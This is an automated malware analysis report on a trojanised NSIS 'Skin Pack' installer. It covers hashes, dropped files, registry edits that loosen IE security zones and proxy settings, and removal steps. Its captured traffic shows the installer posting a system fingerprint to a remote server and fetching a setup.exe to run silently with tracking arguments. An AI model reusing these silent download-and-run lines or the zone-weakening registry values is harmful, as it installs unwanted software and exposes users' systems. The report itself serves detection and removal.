HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.NSIS.StartPage.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: ea97d7626feffb61aa112063dd1ccb09
SHA1: 55bb2326db28443cfbe1676f5dc85adc1541cf64
SHA256: 4114bceca3c5192e721971f2d56a17101bc214274c08d9675976300289355384
SSDeep: 393216:ZSKB8ce08EnwChbQyILbq4hhaLD3UrKu8NN4degn/:ZSKCT08WwefJD3UiN4L/
Size: 17761867 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Softonic
Created at: 2013-12-25 07:01:35
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):
%original file name%.exe:1276
Mutexes
The following mutexes were created/opened:
ZonesLockedCacheCounterMutexZonesCounterMutexZonesCacheCounterMutexRasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_ShimCacheMutex
File activity
The process %original file name%.exe:1276 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nseB5.tmp (52569 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsbB3.tmp (929386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\xml.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\spltmp.bmp (19096 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\modern-header.bmp (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (4214 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\Banner.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\Math.dll (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\Aero.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\advsplash.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nslB6.tmp (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\modern-wizard.bmp (11040 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nseB5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\spltmp.bmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsgB2.tmp (0 bytes)
Registry activity
The process %original file name%.exe:1276 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 16 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5F 23 51 4F 71 92 8D 01 03 AE D6 40 F4 AB 15 01"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
13a09becabce7ce7de02d42d9c00a250 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bitool.dll |
70334ad2c6f9e892e102baaa2acc0a1a | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nslB6.tmp |
75c6e59cc3cea43af20438c3c0b76729 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\Aero.dll |
aea3ac67fa68fd3f00edfbf9b43a2770 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\Banner.dll |
502c878b0897ff8ade2a3c221609f19a | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\Math.dll |
960a5c48e25cf2bca332e74e11d825c9 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\System.dll |
7a514e97fb29eccff3c7ab5147f4de9a | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\advsplash.dll |
e541458cfe66ef95ffbea40eaaa07289 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\inetc.dll |
0745ff646f5af1f1cdd784c06f40fce9 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\md5dll.dll |
8ced0b79f7b9033d0795aab3be6d627c | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\nsDialogs.dll |
42df1fbaa87567adf2b4050805a1a545 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsxB4.tmp\xml.dll |
70334ad2c6f9e892e102baaa2acc0a1a | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe |
13a09becabce7ce7de02d42d9c00a250 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\nseB5.tmp (52569 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsbB3.tmp (929386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\xml.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\spltmp.bmp (19096 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\modern-header.bmp (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (4214 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\Banner.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\Math.dll (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\Aero.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\advsplash.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nslB6.tmp (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsxB4.tmp\modern-wizard.bmp (11040 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 23524 | 23552 | 4.4917 | a9339c1bdb66abf46dde2cd3394ff34a |
.rdata | 28672 | 4558 | 4608 | 3.6294 | 5801d712ecba58aa87d1e7d1aa24f3aa |
.data | 36864 | 108504 | 1024 | 3.42408 | fb9d2533be3ef4d00846e8af39bd7737 |
.ndata | 147456 | 172032 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rsrc | 319488 | 290336 | 290816 | 1.8265 | 7a592b0268304a3c4b56386df59a59d8 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://78.138.127.15/binsis/xml?uid=F9C7ACFAC14B44F29B14094F884B3419&v=2.1.0&affid=lionskin&sid=lionskin&s=0 | |
hxxp://dsxvs27jt6tf7.cloudfront.net/installers/bi_downloader/1407685440407/setup.exe | |
hxxp://www.reiltas.info/installers/bi_downloader/1407685440407/setup.exe | 54.230.39.163 |
hxxp://nsis.bisrv.com/binsis/xml?uid=F9C7ACFAC14B44F29B14094F884B3419&v=2.1.0&affid=lionskin&sid=lionskin&s=0 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
POST /binsis/xml?uid=F9C7ACFAC14B44F29B14094F884B3419&v=2.1.0&affid=lionskin&sid=lionskin&s=0 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Filename: nseB5.tmp
User-Agent: NSIS_Inetc (Mozilla)
Host: nsis.bisrv.com
Content-Length: 3288
Connection: Keep-Alive
Cache-Control: no-cache
installer_data={"uid":"F9C7ACFAC14B44F29B14094F884B3419","muid":"b080d217e8686332192370cb80bf6e80","affid":"lionskin","sid":"lionskin","installerVersion":"2.1.0","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512","ff_installed":"0","ff_version":"","ff_default_homepage":"not_found","ff_is_default":"0","ie_installed":"1","ie_version":"6.0.2900.5512","ie_default_homepage":"about:blank","ie_is_default":"1","chrome_installed":"0","chrome_version":"","chrome_default_homepage":"not_found","chrome_is_default":"0","opera_installed":"0","opera_version":"","opera_default_homepage":"not_found","opera_is_default":"0","safari_installed":"0","safari_version":"","safari_default_homepage":"not_found","safari_is_default":"0","check_586":"false","check_1842":"false","check_1820":"false","check_1822":"false","check_1826":"false","check_1488":"false","check_1650":"false","check_423":"false","check_2720":"false","check_2722":"false","check_1680":"false","check_1682":"false","check_175":"false","check_391":"true","check_514":"false","check_606":"false","check_680":"false","check_720":"true","check_4":"false","check_2182":"false","check_2226":"null","check_2246":"false","check_2366":"false","check_2372":"false","check_2450":"false"
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 17 Aug 2014 02:18:04 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
1fcf..<?xml version="1.0" encoding="windows-1252"?>.<sponsored_data><downloader><url>hXXp://VVV.reiltas.info/installers/bi_downloader/1407685440407/setup.exe</url><downloadOnInit>1</downloadOnInit><args>/silent /initurl hXXp://bi.bisrv.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"</args></downloader><offers><offer id="shoppinghelper"><remote_resources/><downloader><args>_!delimiter!_ -offerId="%OfferID%" -softwareName="ShoppingHelper"</args></downloader><title>Special Offer</title><sub_title>To go along with your Skin Pack</sub_title><download_url>hXXp://d1tcmkms7lcod.cloudfront.net/mirror/shoppinhelper/ShoppinHelper2_Setup1-7.exe</download_url><execution_arguments>/PID=184</execution_arguments><options><option type="v_space" height="5"/><option type="text" width="100"><id>descriptionElement</id><text><decor type="text">Install ShoppingHelper Smartbar, set homepage and default search. You can easily remove</decor><decor type="line_break"></decor><decor type="text">the smartbar from Windows add/remove programs menu in Control Panel.</decor></text></option><option type="v_space" height="5"/><option type="text" width="100"><id>footerEelement</id><text><decor type="text">By clicking Next, I
<<< skipped >>>
GET /installers/bi_downloader/1407685440407/setup.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: VVV.reiltas.info
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 207440
Connection: keep-alive
Server: nginx
Date: Sat, 16 Aug 2014 04:02:06 GMT
Last-Modified: Sun, 10 Aug 2014 15:44:01 GMT
ETag: "53e79341-32a50"
Expires: Sat, 16 Aug 2014 04:12:06 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 2
X-Cache: Hit from cloudfront
Via: 1.1 5a3929ad09d50b03a5fc9b827efa57b6.cloudfront.net (CloudFront)
X-Amz-Cf-Id: skn3si3Zc03nNhNhxqS9qGpU-4WU2eFXXtMh5NbpB32AUg6sHMKnkQ==
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................^..........^2.......p....@..........................................................................t......................(...(............................................................p...............................text....].......^.................. ..`.rdata.......p.......b..............@..@.data....\...........v..............@....ndata...................................rsrc................z..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H......B..H.P.u..u..u...Hr@..B...SV.5..B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h..B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_1276:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
uDSSh
uDSSh
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationA
SHFileOperationA
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
RegDeleteKeyA
RegDeleteKeyA
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
verifying installer: %d%%
verifying installer: %d%%
unpacking data: %d%%
unpacking data: %d%%
... %d%%
... %d%%
hXXp://nsis.sf.net/NSIS_Error
hXXp://nsis.sf.net/NSIS_Error
~nsu.tmp
~nsu.tmp
%u.%u%s%s
%u.%u%s%s
RegDeleteKeyExA
RegDeleteKeyExA
%s=%s
%s=%s
*?|/":
*?|/":
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsxB4.tmp\nsDialogs.dll
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsxB4.tmp\nsDialogs.dll
ll\PodoWeb
ll\PodoWeb
-7394-4906-AAFF-D6AB64FF7C38}
-7394-4906-AAFF-D6AB64FF7C38}
"lionskin","installerVersion":"2.1.0","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"
"lionskin","installerVersion":"2.1.0","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsxB4.tmp\nsDialogs.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsxB4.tmp\nsDialogs.dll
":"lionskin","installerVersion":"2.1.0","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"
":"lionskin","installerVersion":"2.1.0","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsxB4.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsxB4.tmp
n Data\Opera\Opera\operaprefs.ini
n Data\Opera\Opera\operaprefs.ini
2014 skinpacks.com
2014 skinpacks.com
@.reloc
@.reloc
GetProcessHeap
GetProcessHeap
comdlg32.dll
comdlg32.dll
nsDialogs.dll
nsDialogs.dll
All Files|*.*
All Files|*.*
xml.dll
xml.dll
.?AVexecution_error@TinyXPath@@
.?AVexecution_error@TinyXPath@@
Assertion failed: %s, file %s, line %d
Assertion failed: %s, file %s, line %d
zcÃ
zcÃ
*.zoU
*.zoU
q#.vM
q#.vM
wa.ZG
wa.ZG
ZX.vpj
ZX.vpj
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nseB5.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nseB5.tmp
nseB5.tmp
nseB5.tmp
76730183
76730183
turl hXXp://bi.bisrv.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"
turl hXXp://bi.bisrv.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"
b09.exe
b09.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PodoWeb
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PodoWeb
efs.js
efs.js
Family PCI Ethernet Adapter - Packet Scheduler Miniport
Family PCI Ethernet Adapter - Packet Scheduler Miniport
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PodoWeb
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PodoWeb
n\Uninstall\PodoWeb
n\Uninstall\PodoWeb
7394-4906-AAFF-D6AB64FF7C38}
7394-4906-AAFF-D6AB64FF7C38}
t\Windows\CurrentVersion\Uninstall\PodoWeb
t\Windows\CurrentVersion\Uninstall\PodoWeb
FTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PodoWeb
FTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PodoWeb
4-4906-AAFF-D6AB64FF7C38}
4-4906-AAFF-D6AB64FF7C38}
c:\%original file name%.exe
c:\%original file name%.exe
C:\SkinPack\
C:\SkinPack\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp
%original file name%.exe
%original file name%.exe
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsgB2.tmp
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsgB2.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
-1911946831
-1911946831
1179874
1179874
1179972
1179972
1442062
1442062
1179806
1179806
1179988
1179988
1114360
1114360
podoweb_b2b
podoweb_b2b
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nslB6.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nslB6.tmp
/silent /initurl hXXp://bi.bisrv.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"
/silent /initurl hXXp://bi.bisrv.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"
hXXp://VVV.reiltas.info/installers/bi_downloader/1407685440407/setup.exe
hXXp://VVV.reiltas.info/installers/bi_downloader/1407685440407/setup.exe
1311004
1311004
-1576730183
-1576730183
1376514
1376514
1779041272
1779041272
1310952
1310952
-2063532032
-2063532032
-2147284440
-2147284440
...lM
...lM
Ux.vv
Ux.vv
%x_Rk[
%x_Rk[
.LYXd
.LYXd
|\.Lk`
|\.Lk`
R_e%.F
R_e%.F
O:\S&|
O:\S&|
lo%d:D
lo%d:D
T.sOj
T.sOj
Nullsoft Install System v3.0a2
Nullsoft Install System v3.0a2
%original file name%.exe_1276_rwx_10004000_00001000:
callback%d
callback%d